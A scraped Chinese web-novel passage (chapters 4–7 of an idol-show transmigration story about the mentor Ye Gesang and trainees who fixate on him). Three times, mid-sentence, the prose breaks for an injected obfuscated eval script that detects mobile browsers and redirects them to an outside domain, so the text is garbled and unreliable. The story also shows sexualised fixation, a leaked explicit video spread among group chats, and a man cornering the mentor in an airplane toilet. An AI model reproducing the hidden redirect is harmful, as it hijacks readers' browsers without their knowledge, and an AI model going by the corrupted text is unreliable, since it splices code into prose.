卫烽就是那个“傻子”。
“什么事?”卫烽语气冷淡。
商承佑笑:“人家都在练习,你一个人在这发什么呆呢?怎么,主题曲练会了?”
“休息一会。”
卫烽淡淡道,懒得多解释。
他发现商承佑这人有点自来熟,但他来这里的目的不是交友,对这人兴趣不大。
“你知道网上说我们俩什么不?”商承佑也没因为卫烽的冷淡生气。
“什么。”卫烽其实不感兴趣。
“粉丝看了花絮跟路透,说我俩挺配。‘可惜卫烽是那种带了小猫咪回家会发帖问猫为什么一直响的木头,媚眼抛给瞎子看。’”商承佑自己把自己说笑了。
卫烽一点没笑。
他没听见“带小猫咪回家”后面的话。
是哦,叶格桑有点像小猫。
软绵绵的,没骨头。神神秘秘的,琢磨不住。
还像小狐狸。
大尾巴往人脸上一扫……叫人晕头转向。
“喂喂,卫烽,你有没有在听我说话?”商承佑抬手在卫烽跟前晃了晃。
“商承佑。”
卫烽忽然双目放空地叫了商承佑一声,商承佑看他,他迟疑片刻,问:“一般粉丝都喜欢嗑些什么样的cp啊?”
“性张力强的呗。——我老板告诉我的啊,我是铁直男你别误会。”
“嗯。怎么说?”
“就那种,高大帅气凶狠的顶A,配一个香香软软的漂亮小O。甚至都不用刻意卖,粉丝自己就嗑起来了。”
“香香软软,漂亮……”
“怎么,你在物色卖腐对象呢?看上谁了?不会是我吧?可惜咱俩没人符合‘想想软软的漂亮小O’这个定义。”
卫烽沉默许久,才慢吞吞道:“那你觉得,叶格桑怎么样?符合要求么?”
“……啊?叶老师?”
“嗯。”
商承佑愣神,脑中闪过叶格桑那张精致如玉器一般的脸,以及那人同样如同展馆中最高高在上的珍品一般难以亲近的气质。
他抿唇沉默许久,才嗤笑一声:“……我就是开玩笑的,也不是真要跟你组cp,你犯不着说这种话堵我。”
卫烽想说我没堵你,我是真好奇。可话到嘴边了,又觉得对这事穷追不舍,倒好像他对叶格桑多感兴趣一样。
掉面儿。
二十分钟后,练习室门外响起骚动,门被推开,A班的练习生们首先看到的是一条修长笔直的腿。
象牙白色丝绸质地的裤子垂感一绝,包裹住细而直的腿,裤管微微晃荡,让人忍不住遐想其下俢匀的骨肉。
卫烽的喉结无意识地随着那条丝绸裤子的褶皱流淌而微微滚动。
细长的、少年一般的腿。羸弱。
若是挂在某人腰上……
想必,只能在他人的潮起潮落中虚软地摇晃。
卫烽莫名地口干舌燥,他掩饰性地咳嗽,端起杯子喝水,再抬头时,就见已经在讲台前站定的叶格桑淡淡地瞥了他一眼。
两人视线撞上,叶格桑只是似笑非笑地扬了扬嘴角,就低头翻资料去了。
留下卫烽,回味着小导师刚才的那个眼神,再度口干舌燥,喝了几口水都压不下去。
……
主题曲的练习,导师其实没有什么能教学员的,大家心里也清楚。
本来所有人都以为以这位导师的专业水平和敬业程度会直接摆烂,没想到叶格桑挺细致地带着他们从头到尾抠了一遍舞蹈动作和声乐。
“他还算可以么,也能讲出点东西,不是我想象的那么废——哎,是吧?阿烽?”
卫烽懒洋洋地做着舞蹈动作,眼睛却没有看镜子中的自己,而是一瞬不瞬地盯着讲台上的小导师。
尤其是在……叶格桑示范做舞蹈动作时,他身上那件松散的褶皱衬衣向上提起,抽拉缎带垂落下来,露出一点点雪白的腰线那一刻。
卫烽舔了舔嘴唇,忍不住在脑中想象自己把玩着那条缎带,将其一点一点抽开的画面。
然后没好气道:“想象?你有什么好想象的,别整天对着什么人都瞎想,满脑子黄色废料。”
卫烽的好兄弟(直男):?
……
格桑从前在皇宫时,生活很无趣,从皇室到帝国民众都拿他当易碎品,像娇贵的小花,只能被养在花房里。
因为太无聊,所以那些年他学了很多乱七八糟的技能:音乐舞蹈,绘画下棋……人在足够无所事事的时候,往往很容易专注于这些精神寄托中。
所以其实这些事于他来说并不难。
不过帮学员抠舞蹈还是有点累的,没多久格桑额头上就出了一层薄汗,他便在讲台边的椅子上坐下来。
【男主卫烽雄竞值:-2】
【主角阵营三号商承佑雄竞值:-1】
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16093461|179697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
商承佑。
格桑随手翻了翻资料,这是营里的人气大TOP选手,在这本书里也是个重要配角,相当于男二,跟主角卫烽惺惺相惜,从竞争对手到后期无话不谈的好友,最后二人成为娱乐圈的双子星,各自在各自的领域绽放光芒。
男频经典的不是基佬胜似基佬的“兄弟情”(但作者非要说是直男版)。
系统忽然冒出来:【没错,这就是男频主角和劲敌兼好友的羁绊啊,读者都嗑他俩的cp!
【建议宿主两个人一起舔,这样可以事半功倍哦。】
格桑:……
谢邀,摆烂了。
格桑没好气地扔下资料,把系统赶出了自己的脑子。
不过他还记得pd的台本,让他上课时多给几个人气选手展示自己的机会,后期好剪素材。
格桑缓慢地喝了一口温水,润了润因为说话太多而沙哑的嗓子。他微侧身靠在旁边的讲台上,翘起一条腿,用手肘支着下巴。
这个姿势懒散而舒适,身体从腰到臀部的曲线都一览无遗,格桑注意到摄影老师的相机忽然转过来怼着他拍。
【男主卫烽雄竞值:-1】
【爽度:+1】
格桑懒得理会男主在想什么,兢兢业业按照台本完成导演的要求。
“商承佑的舞蹈跟演唱完成度都很高,我喜欢,不如你来给大家展示一下。”
人群里的商承佑愣了愣,他身上的衣服已经跳得湿透了,抬头看去,见到叶格桑乌黑幽谧的瞳仁专注地注视着自己,似乎对自己抱有很高的期待。
【主角阵营三号商承佑雄竞值:-2】
【男主卫烽雄竞值转移-对「商承佑」雄竞值:+3】
格桑:?
在先前的三个世界中,格桑还从来没有遇到过这种情况,他又把系统拎出来:【怎么回事?】
系统:【正在查询中…………错误提示309,很抱歉,无法在数据库中检索到类似条目,请宿主自行探索。】
格桑皱起被染成淡色的眉——他今天的妆造偏文艺日系,半长的头发染成了茶色,在脑后松松地扎了个低马尾,眉毛也相应地染淡了。
他原本皮肤就白,如今更是淡得几乎透明,像被朝露浸润后即将融化的春雪。
这边商承佑开始跳舞,但他跳着跳着,眼睛总往格桑这里瞥,心不在焉似的,以至于跳错了好几个动作。
格桑无语——让商承佑展示是为了后期剪出来他的高光给他吸粉的,明明刚刚还跳得有模有样的,一让出来表演就跳错,这种心理素质怎么当爱豆?
但表面上,格桑维持着他温和好脾气的人设,笑笑:“……不错,不过B段刚才错了一点,再跳一次吧。”
再给他一个机会。
……
商承佑有些心不在焉。
叶格桑老师,乍看上去总是一副笑模样,跟传闻中跋扈嚣张的性格完全不一样。
可他的笑意似乎只是浅浅一层,虚浮地拢在眼瞳表面。
比起亲和,他的气质更多地让人感受到的,是清冷和……悲伤。
商承佑是个强于人际的人,也因此,他对人的气质和个性的链接更敏锐。
今天近距离跟叶格桑接触下来,即便到现在只有一刻钟,他也立马就能得出结论:叶格桑绝不是传闻中那样跋扈又无脑的人。
那些针对叶格桑的污名,想必大多数都是无来由的诋毁。
“商承佑……”
“商承佑…………?”
也不知格桑叫了多少次,商承佑才从自己的思绪中回过神。
这位全营人气领跑的大top,尴尬地咳嗽了两声,以掩饰自己的当众失态。
所幸,无人注意到他的这点小失态,是因为对着他们的导师,看到入了神。
5. 第五章
【主角阵营三号商承佑雄竞值:-10】
……一下子减了10点雄竞值?
这要换作在以前的世界,他至少得带着狗耳朵插着狗尾巴在主角团成员脚底下跪着汪汪叫三声才能达成吧。
格桑彻底怀疑,是这个破系统bug了。
天底下哪里会有这样的好事?
这样的好事,又如何会降临在他身上呢?
艺人导师上课属于“大师课”,虽然干货不见得一定比幕后导师多,但毕竟人名气跟业内地位在那里,不可能跟一群甚至还没出道的练习生浪费太多时间。
格桑的课本来节目组给的时间是一个半小时,知道他身体不好,特意安排得比别的导师还要少半小时。
但坚持了一小时左右,格桑还是有些坚持不住了。
眼前发暗,头发昏。
恨不能立马一头倒下去,以缓解这种眩晕感。
手脚冰凉的同时,脸上开始发烫。
又发烧了。
格桑慢吞吞地又喝了一口温水,随后顶着酸软的身体和晕眩的脑袋,狠狠掐了一把自己的掌心。
白皙的掌心几乎是立刻被掐出了殷红的痕迹。
与此同时,头脑也终于清醒了些。
格桑是想摆烂,但那是在讨好主角团上。
该属于他做的工作,他是不会摆烂的。
说好一个半小时的课,硬撑着也要从头到尾完完整整地上完。
格桑的右手紧紧抓住桌子边沿,掐的手指关节变得苍白。等差不多录完了商承佑的镜头后,他不动声色地笑着表扬了商承佑,又点了下一个人气练习生出来展示。
商承佑默默退回人群中间,脸上还有一丝恍惚和恋恋不舍。
“老师,我想展示。”
那个刚被格桑点名的人气练习生还没来得及站出来,就响起一个带了些火药味的声音。
格桑抬眸,顺着声源处看去,只见卫烽向前走了几步,眉峰微挑,不甚友善的目光从商承佑身上划过,最后定定地落在了自己身上。
眼睛里像有火苗,噼啪跳动。
卫烽虽然目前没什么名气,算不上人气学员,但面试的时候节目组导演都很看好他,觉得他个人风格强烈,长得也好,创作能力非同一般,算是个黑马,节目组是打算捧他的。
更何况,他还是男主。
格桑虽摆,倒也没有什么故意得罪男主给自己找麻烦的兴趣,左右要给卫烽单独展示的镜头,早给晚给都一样,他这样一身火药味地站出来还更有利于塑造人设,没什么不好。
于是格桑露出标准的营业微笑:“好,那你来。”
卫烽的舞蹈水平一般,他擅长的是作曲和音乐制作,拿过好几个世界级奖项,只是他从小在国外长大,他的这些经历并不为人所知。
他在这方面的专业才能,也是在原著中宋樑会那么欣赏他的原因。
他把他的电脑连上现场音响设备,音乐响起来,还是那个主题曲,乍听旋律没有太明显的变化,但是被重新制作成了爵士风。
慵懒的JAZZ音阶,更舒缓的节奏,卫烽跳起舞来也显得更游刃有余,不用像其他人一样,在高强度且欠缺美感的舞蹈中手忙脚乱汗流浃背。
很会逃课。
卫烽表演的过程中,目光始终牢牢锁紧格桑,看他的反应。
格桑没有反应。
他平平淡淡地拿着记录板,平平淡淡地看着卫烽表演完,平平淡淡地夸了句:“嗯,不错。”
就跟他夸赞商承佑时,或者夸赞其他练习生时一样。
甚至连嘴角翘起的弧度,还有唇边那颗棕色的小痣随着皮肤提拉而提升的位置都是一模一样的。
原本卫烽重新改编制作的这版主题曲是要在主题曲表演之后的个人才艺展示环节中再拿出来的,他也说不上来自己是什么心态,要把这个被所有幕后大牛老师们交口称赞的作品在这个时候就放出来。
卫烽本来想的是【大不了到时候再重做一个别的风格的就是了,又不是多难的事。】
——只要,能被叶格桑另眼相看一下……
可他并没有得到叶格桑的另眼相看。
卫烽的嘴唇抿成了一条直线,心头说不出的空落。
……
格桑的脑袋晕得厉害,他能感觉到体内的热度仍在不断攀升,因为发烧,身体酸痛难忍。
他只能尽量动作幅度隐蔽地调整姿势,好不容易找到一个稍微有所缓解的姿势,勉强放松后全身瘫软,身上的褶皱衬衣都已微微汗湿,额头也出了一层虚汗。
格桑压抑着自己的呼吸——他的领口还夹着麦,他不想把喘息声给录进去。
平复了一会儿后,格桑才恹恹道:“谢谢卫烽的表演,下一个,许瑞冰——”
“叶老师,我想听听您对我刚刚表演的点评。”卫烽终于按捺不住,身形高大的青年微抬下巴,站在练习室最中间的位置,一双线条锋利的眼睛锁在格桑身上,微微眯起。
格桑微笑,丝毫没被卫烽的气势所影响:“你的舞蹈动作都是正确的。至于别的,很抱歉,我没有办法点评。
“今天的上课内容只是‘以较高的完成度演绎主题曲’,除此之外其他的东西,如果我点评了,对于别的认真正确地演绎主题曲的练习生并不公平。
“希望你可以理解。”
明明是高岭之花一样难以接近的气质,说起话来的声调却总是轻而温柔的。
就好像那朵开在悬崖上的雪莲,却也会在风朗月清的日子里,向悬崖下的人展示自己娇嫩的花瓣。
雪莲温柔地继续说:“……但是你确实让我看到了你身上更多的可能性,很期待接下来的这段时间可以了解到你更多的才华和光彩,卫烽学员。”
……
卫烽是恍恍惚惚地走下去的。
脚步都有点打飘。
那人的声音温柔好听得像山涧清泉,当他用他清泉一般的声线轻柔叫出“卫烽学员”四个字时,卫烽感觉自己脑子里“嘭”地炸了一下。
被小狐狸蓬松的大尾巴扫到了。
卫烽坐回自己原来的位置,他的好兄弟张恺立马压低声音骂道:“这个叶格桑,以为自己是什么东西啊?说得冠冕堂皇,其实就是肚子里没货,说不出个一二三来——烽哥,你别生气。”
张恺说着还十分哥俩好地拍拍卫烽的肩,以示安抚。
谁承想卫烽闻言转过头来冷冷睨了他一眼,把他的手拍了下去:“显着你了?别人说什么你学什么舌,八哥啊?不然喂你吃点儿虫子?”
张恺:“……?”
后来都有谁上去,又表演了什么,卫烽一点都没看进去。
这个屋子里其他所有人——练
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16093462|179697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
习生、导演pd、摄影师、其他工作人员……在他眼里都像是被模糊处理了的NPC。
唯有高高坐在讲台前的叶格桑,他的一颦一笑一垂首一抬眸,都如同打了高光,让卫烽目不转睛。
【男主卫烽雄竞值:-2】
【男主卫烽雄竞值:-3】
【男主卫烽雄竞值:-5】
……
格桑听着后台的提示声,已经从疑惑到了麻木,再结合实际,他确定这是系统bug——可能把+5写成-5了。
毕竟偶尔抬头间无意瞥到卫烽时,总会发现这人在皱着眉一脸凶戾地盯着自己。
大约已经因为自己刚刚那些话记恨上了。格桑无所谓地想。
他知道卫烽来参加选秀是为了以后成为国际巨星而开拓国内市场,这个男主是个做事很有目的性的人,一上来就抛出这么多东西展示,无非是想给自己增加亮点跟筹码。
如果换做以前乖乖听系统话的他,肯定会识相地对男主360度吹彩虹屁,让少爷得偿所愿。
但是现在,反正左右都是死,死之前他才不会做那种让自己都恶心的事。
人之将死,但求问心无愧罢了。
一个半小时的“大师课”一晃而过,pd一句“时间差不多了”,格桑那根绷紧的弦当即便松懈了下来。
原本还强撑着优雅得体的姿态也再撑不住,从高脚凳上下来的时候,差点一脚没踩实,踉跄向前栽倒。
一左一右两道影子飞快掠了过来,左边的人离得近些,先一步扶住了格桑,右边那人慢了一步,双手愣愣滞留在半空中,与格桑纤薄的腰背失之交臂。
“您……您的体温好高,是发烧了么?”
格桑抬眸,眼前的男青年有一副相对卫烽亲和许多的面孔,眉目舒朗。
原书男二商承佑。
商承佑大约是怕他真的跌下去,手臂下意识箍紧了他的腰。
腰上那个位置昨天才被卫烽掐得乌青,现在被商承佑的手臂箍得太紧,疼得格桑皱眉哼了一声,商承佑连忙松懈了力道,“弄疼您了?”
“……我没事,你先松手。”格桑揉了揉太阳穴。
商承佑这才小心翼翼地将手松开,同时随时观察着格桑的状态,仿佛他的导师是什么易碎品,他的手一松,就会琉璃玉碎,再难触碰。
“……我真没事。”格桑无奈。
所幸此时他的助理终于匆匆赶来,格桑在无人注意时总算松了口气,任由助理抱起自己。
他快速道:“回酒店,我要休息了。”
助理连忙应和,用羊绒毛毯将格桑裹了起来。
格桑的体温滚烫,早已无心在这里逗留,直到助理抱着他离开了练习室,他也没注意到男主卫烽怅然若失的脸色。
只听到系统第不知多少次响起的提示音:
【男主卫烽雄竞值:-5】
【主角阵营三号商承佑雄竞值:-3】
【男主卫烽雄竞值转移-对「商承佑」雄竞值:+10】
【男主卫烽与「商承佑」关系降级:相安无事—相看两厌】
【爽度:-1】
在格桑疲惫得彻底闭上眼睛、失去意识前,他脑中仅剩的念头:
什么乱七八糟的。
都乱成一锅粥了。
赏给这破系统趁热喝了。
6. 第六章
舞台被聚光灯的温度烘烤得灼热,所有练习生们在舞台上排成三角形方阵,露出最完美的微笑,完整演绎了一遍主题曲。
初评级A班的人在三角形最前列,C位是目前人气第一的商承佑,卫烽则以很高的导师评分,居于第三名,排在商承佑的右后方。
其他人无不羡慕他这匹横空出世的黑马,卫烽本人却心不在焉。
他没有微笑,眉峰压得很低,定定地盯着导师席最中间那张空荡荡的椅子发呆。
叶格桑已经四天没有出现了。
自从那天在练习室,他发着烧被助理抱出去后,就向节目组告了病假,昨天彩排跟今天正式录制都没有来。
想到那人苍白的面孔还有薄得跟纸片一样的身体,卫烽就无端地心头烦躁——都这么大人了,为什么生病不及时去医院,还要跑出来工作?
那副脆弱得跟玻璃一般的样子……发一次高烧,怕是都能要了他的命了。
主题曲录制圆满结束,练习生们各自下台休息,几家欢喜几家愁,照理说他们前三名都应该是喜的,但商承佑却也是一副心事重重的样子。
不过卫烽也只是余光扫了他一眼,就懒得再看他,一个人坐在位置上闷头玩手机——这玩意儿本来该被节目组收走的,他自己偷偷藏了一个。
卫烽打开微博,在【我的经常访问】里,轻车熟路地找到了叶格桑的头像,点开。
他没有关注叶格桑,不论大号小号。
但他不会承认,经过这几天,他已经能对叶格桑的微博内容倒背如流了。
叶格桑发的那些九宫格照片,几乎每一张,在夜深人静的时候,他都偷偷点开来,放大,怀着某种矛盾的心思认真地端详过。
细致到他的小导师嘴角边的那颗棕色的、小小的痣。
心里像有两个小人,一个嗤之以鼻:一大男人天天搔首弄姿留那么长头发打扮那么花哨拍一大堆精修照片,华而不实。
另一个一句话不说,长按照片保存。
卫烽觉得自己他妈可能得了精神病。
叶格桑没发新微博。
卫烽熟练地删了自己的访客记录,又挨个去其他几个社交平台看了一遍,叶格桑都没更新动态。
他深吸一口气,拿着手机这点点那摸摸地瞎玩了一会儿,点开编曲软件,准备用碎片时间再编一版新的主题曲,刚把项目新建出来,定了几个配器音色就卡壳了,好像没什么灵感,手指切出了编曲软件,心里想着:去找找灵感。
然后就再次丝滑地点开了微博图标。
打开微博后主页自动刷新,刷出了几条大数据推荐的营销号博文。
-【猜你喜欢】-
圈内前线李哥V:【说个圈子里很多人都知道的事儿,某位腥风血雨体质的顶流,大家都知道的是他能有今天的名气靠的是家里,其实也不尽然,他家虽然有钱,但钱也不是万能的,他有的资源都是靠自己私底下荤腥不忌得来的。毕竟他么,长得万里挑一的,很多圈内大佬,不管性向如何,都不介意跟他试试的,他自己也享受其中。】
卫烽知道网线那端是人是狗都能说两句,真真假假不能当真,但苦于他的阅读速度过快,等意识到自己读了什么的时候已经来不及叉掉了。
甚至连底下的热评都扫完了。
热评1:【秒解码,李哥你这跟挂他大名有啥区别(捂嘴笑)】
热评2:【叶gs。。。真的是秒解,虽然但是,不说人品如何,他是真妖孽啊。。我都想睡睡(口水)PS.我是直男】
回复-热评2:【笑死,薛定谔的直男】
热评3:【博主有病?空口造谣想收律师函了是吧?】
……
“…………”
卫烽在心里暗骂了一句大数据,心想我喜欢个屁,随手举报拉黑一条龙。
世界清净了。
但他的大脑,更不清净了。
……
果不其然今天一整天叶格桑都没有出现在节目录制现场,休息的时候偶尔能听见有人吐槽,说叶格桑果然名不虚传爱耍大牌,卫烽本来心里就不爽,张口就想骂,倒听见旁边的商承佑先严厉制止他们乱说了。
商承佑这个初C兼人气王还是很有威信的,那几人登时便讷讷闭嘴了,还道了歉。
卫烽冷笑一声,低头继续捣鼓自己的编曲软件。
——也没见这人跟叶格桑多熟,倒是会装。
当晚结束所有录制,练习生们一身疲惫地回宿舍,选管提醒大家明天还要早起拍摄,卫烽冲了个战斗澡就早早躺下了。
他的舍友们在讨论排名和炒CP的问题,少数认真的在互相开小灶讲解专业知识,一片黑暗中,窸窸窣窣。
卫烽戴着降噪耳机,想睡觉,却怎么也睡不着。
脑海里不知为何再度盘亘起今天刷到的那条半真半假的微博,他翻了个身,听着宿舍床板嘎吱嘎吱的声音,鬼使神差地想:叶格桑跟那些“大佬”做的时候,也会晃得这样响么?
他会像狂风暴雨中的一点浮沫一样,难以抵御浪潮与颠簸,神思不属,连痛苦都堪堪破碎么……?
……
“大佬”们,体力行不行啊?
想必没有如他这样的年轻人好吧。
卫烽舔舔嘴唇,明明口中什么也没有,却尝出了一丝腥甜的味道。
手机屏幕亮了亮,有新的通知。
卫烽设置了微博消息提醒,如果叶格桑发微博会给他推送通知,因此他勉强将自己从那些绯色的遐想中抽离,解锁了手机。
打开手机才发现,并不是微博的通知,叶格桑什么也没发,是隔壁宿舍的张恺给他发了个视频。
卫烽瞥见视频封面那个有几分熟悉的侧影,手指一顿,心脏狂跳。
他僵硬地点开了视频,不出所料,是个隐晦的片段,一共只有10秒,画质模糊,也看不清什么动作,甚至另一人都看不见,镜头只聚焦在无力地坐在上方的人身上。
那振翅欲飞一般纤薄的蝴蝶骨和细瘦的腰;那尖尖的下巴、线条柔嫩的侧脸……
卫烽如同雕塑一般躺着,紧紧抓着手机,大脑像炸开了烟花,呼吸陡然重起来。
他反复观看这只有区区10秒的视频,暂停,放大,他眯眼盯着视频中人的脸,找他下巴上的小痣。
但是以这个视频的清晰度,自然是不可能看清。
那头张恺的消息跟着来了:【我去,你看这是不是叶格桑啊?我看这侧面挺像的,就是他吧】
卫烽答非所问:【哪来的视频?你还发给谁
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16093463|179697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了?】
张恺:【没啊,就发你了,但这个视频在好几个圈内群都传疯了】
卫烽:【……】
他没再搭理张恺,宿舍里窸窸窣窣的声音渐渐消失,大家都睡了,卫烽却丝毫没有睡意,他一而再再而三地重复播放那段没有声音的视频。
他闭上眼睛,视频中的画面自动在脑海中浮现,卫烽想象着视频中的另一位主角是自己——
……
……
卫烽隔壁床的苏成水半夜起来上厕所,睡眼朦胧地趿拉着拖鞋往前走,迷糊间听到卫烽那里传来奇怪的动静,但房间里拉了遮光窗帘,也没开灯,他看不清情况。
苏成水拍了拍卫烽床边,小声问:“怎么了?阿烽你还好么?不舒服?”
许久,被子里才传来青年沙哑干粝的声音:“……没事,你忙你的。”
“哦。”苏成水打了个哈欠,不疑有他,继续往厕所走了。
.
格桑打了点滴后在床上整整躺了四天,才感觉身体有了点力气,也终于不再断断续续发烧了。
他穿着珍珠白色的丝绸睡衣,长发柔软松散地垂落在肩膀,在总统套房的大床上蜷成一小团靠在床头,抱着膝盖拿着遥控器。
对面墙上的大屏电视放着内容有些低幼的动画片,格桑看得津津有味。
他原先的世界文娱产业倒是丰富,可之前的三个世界要么是娱乐贫乏的古代,要么是他太忙于讨好主角,无暇放松,现在才总算能舒缓心情,放空大脑。
即便是很幼稚的剧情,怀着轻松的心境,格桑也看得很开心。
他的好心情一直持续到经纪人给他发了个微信,格桑随意地看了一眼,似乎是个视频,还没来得及点开看,经纪人的电话就火急火燎打了过来。
“我的祖宗诶!这视频里的人到底是不是你?现在圈内都传疯了!不知道是从哪里流出来的,怕是迟早要传到圈外去——”
格桑莫名其妙:“什么乱七八糟的?你先别急。”
他说着,这才打开那个视频。
电视里的动画片节奏欢快,视频的内容却很是让人面红耳赤。10秒的小视频迅速放完,格桑淡定地对手机那头道:“不是我。”
经纪人在那头松了口气,连连说还好还好,他就知道是假的,但格桑隐约想起,原著中叶格桑的人生逐渐崩盘,最开始就是从一个网上疯传的所谓“叶格桑同性XX小视频”开始的。
千里之堤尚且能溃于蚁穴,更不要说叶格桑这人本来也不是什么“无缝的蛋”了,即便是凭空造谣,也多的是人信以为真。
营销号跟黑粉一联动,假的也能说成真的,这种事情,就算辟谣了告赢了,但影响已经形成,只想吃瓜看热闹的网民并不关心真相。
屏幕里的动画片放完了最后一集,开始播片尾曲,格桑在床头柜上精致的点心盘子里拿了个棒棒糖,含在嘴里。
就在格桑思考这事该如何处理时,系统又叮叮叮地响起来。
【男主卫烽雄竞值:-15】
【恭喜宿主,男主卫烽雄竞值已降至警戒线以下,达成成就:初步攻略】
【爽度:+10】
格桑愣愣地停止了嚼棒棒糖。
卫烽卫烽,又在发哪门子疯?
7. 第七章
之后的三天格桑没有录制任务,他飞回了帝都,在家中休息整顿,养足了精神。
期间他让经纪人委托了私家侦探,调查那个视频的源头。
三天之后,节目一公即将开录,格桑准备飞回录节目的H市。
为了赶彩排,航班是一大早,格桑戴着鸭舌帽跟茶色墨镜进了商务舱坐下,将靠背放低到能够平躺的位置,刚准备闭目养神,就如芒在背,感觉似乎有人在盯着自己。
他撑起身,扭头看去。
这是窄机型的空客,商务舱不过寥寥10个座位,还只坐了一半人,他一转头便瞥见了斜后方熟悉的人。
对方也并未因被他发现而有丝毫的局促,那眼镜片后的目光如有实质地黏着在他的身上,其中的探究和……某些说不上来的意味,让格桑有些许不自在。
格桑下意识地将刚才因躺下身而微微散开的衬衫领口拢起,笑了笑,主动招呼道:“宋樑老师,您也是这趟航班啊,刚才没注意到,抱歉。”
宋樑今年33岁了,以业内大佬的身份来说,可以说是年轻有为,但却也足足比格桑大上一轮了,各方面都是前辈,格桑不想招惹些不必要的麻烦,言语上很尊敬,不出错,行动上倒还是懒洋洋地靠在座椅间,并不想多费心神。
因为请了好几天假,细想起来,他上次跟宋樑有实质上的接触还是在节目组安排的酒店,后来离开酒店后,宋樑的车一路跟着他到录制现场,虽然宋樑没说,格桑其实也是知道的。
他不清楚宋樑葫芦里卖的什么药,毕竟在原著中,这人对叶格桑的态度是从一而终地厌恶,只是因为教养良好才没做出什么实际行动。
但归根结底,古典音乐科班出身、来自艺术世家的宋樑,看不上他这么个“空有皮囊的资本产物”,再正常不过。
格桑不甚在意地想着,而宋樑只是定定注视着他,没有回他的招呼。
男人今天一如既往是一身剪裁合身又禁欲的西装,铅灰色底、细竖条纹,衬衫扣子扣到最顶端,甚至配了个银色丝绸领带,椅子靠背一点没有放下,腰背挺直,坐得板正。
他的手指在椅子扶手上一下一下地轻敲,视线始终没有离开过格桑。
格桑被那一身禁欲的男人眼镜后越来越意味深长的视线盯着,有些不自在。
目光,是带有某种权力意味的。
赤.裸裸的凝视,无视他人的边界,是主体对客体毫不遮掩的、不加试探的挑衅和侵.犯。
尤其是……那目光远不只是单纯的审视,还有某种让格桑不适的、更深层的意味存在……
格桑不再看宋樑,蜷缩回自己的座椅内,确保身体都被半包围型的座椅遮挡住,以隔离开宋樑的视线。
这样僵硬地坐了一会儿后,果然感觉那道让人如芒在背的目光消失了。
余光瞥过去,只见宋樑不知何时已经低下了头,手上拿着平板电脑和触屏笔,正皱着眉写写画画着什么。
格桑不动声色地长出了口气。
整个人放松了下来,身体重新懒洋洋地靠回了椅背里,这一次,姿态松弛了许多。
他将宋樑刚刚莫名其妙的盯视归因于对方太烦他了,两人相遇在同一架飞机的同一个商务舱,大约让这位才华横溢的前辈很是不爽,才那么死瞪着他。
烦他,那又如何?
格桑闭着眼睛无所谓地想,反正至少目前,这些原著主角阵营的角色就算再看不惯他,也干不掉他。
至于以后的事情……他暂时不打算考虑太多。
……
格桑睡眠质量不算好,习惯了睡猫觉,夜晚白天都一样,醒醒睡睡,很少能酣眠过一整个睡眠周期,在飞机上自然更是如此。
睡了二十分钟左右,格桑就醒了,迷迷糊糊喝了口空姐给倒的温水,起身去上厕所。
这种机型的商务舱都配有独立卫生间,位置隐蔽,内部宽敞干净。
厕所开始自动冲水,格桑拧开洗手池水龙头,在手掌上打上泡沫洗手液,将手指一根一根冲洗干净。
烘干手后他开门准备出去,谁料刚解开门锁,就感觉到外面一股巨大的力量拉开门,然后在格桑还未及反应时,一个影子迅速挤了进来,并反手扣上门锁。
机舱洗手间独有的“咔哒”一声落锁声,让格桑本能地头皮发麻——出于对危险的本能感知。
他一抬头。便看见了熟悉的条纹西装和银色领带。
“……宋樑老师?”格桑不动声色地退后,刚退了半路,就被一只手抵住,圈进角落,退无可退。
格桑抬头。
但他心中警惕,但面上不显,甚至还对这贸然闯进别人的私密空间的不速之客软软地笑了笑:“宋樑老师,您是有什么事吗?有话要对我说?出去说也一样的。”
格桑一边慢吞吞地说话,一边不动声色想避开宋樑。然而洗手间空间太小,避无可避。
距离太近,格桑能闻到对方身上清淡的古龙水味。
傻子也知道,这不是同事之间应该有的社交距离。
格桑不知道宋樑到底在发什么疯,他的大脑一边飞速转动思考,面上一边假装柔弱无助地蹙眉,主动示弱:“宋樑老师,您可以先放手吗?弄痛我了。”
以格桑对宋樑的了解以及这些天的观察,对方应该是一个很绅士的人。
绅士到了极点,甚至有一些古板守旧。
对付这样的人,装乖远比硬碰硬强。
然而没想到宋樑根本不吃他这套,男人金丝边眼镜后面的眉眼紧皱,目光灼灼地锁紧格桑。
格桑能在对方的镜片跟瞳孔中分别看到自己的倒影。
满面惶然,柔弱无助。
——装的。
宋樑就这么扣着格桑,俯视他,难得地没有保持住惯常的儒雅绅士。
许久,他才开口,一字一顿道:“叶老师,我前两天看到了一个视频。”
“嗯?什么视频?”格桑无辜道。
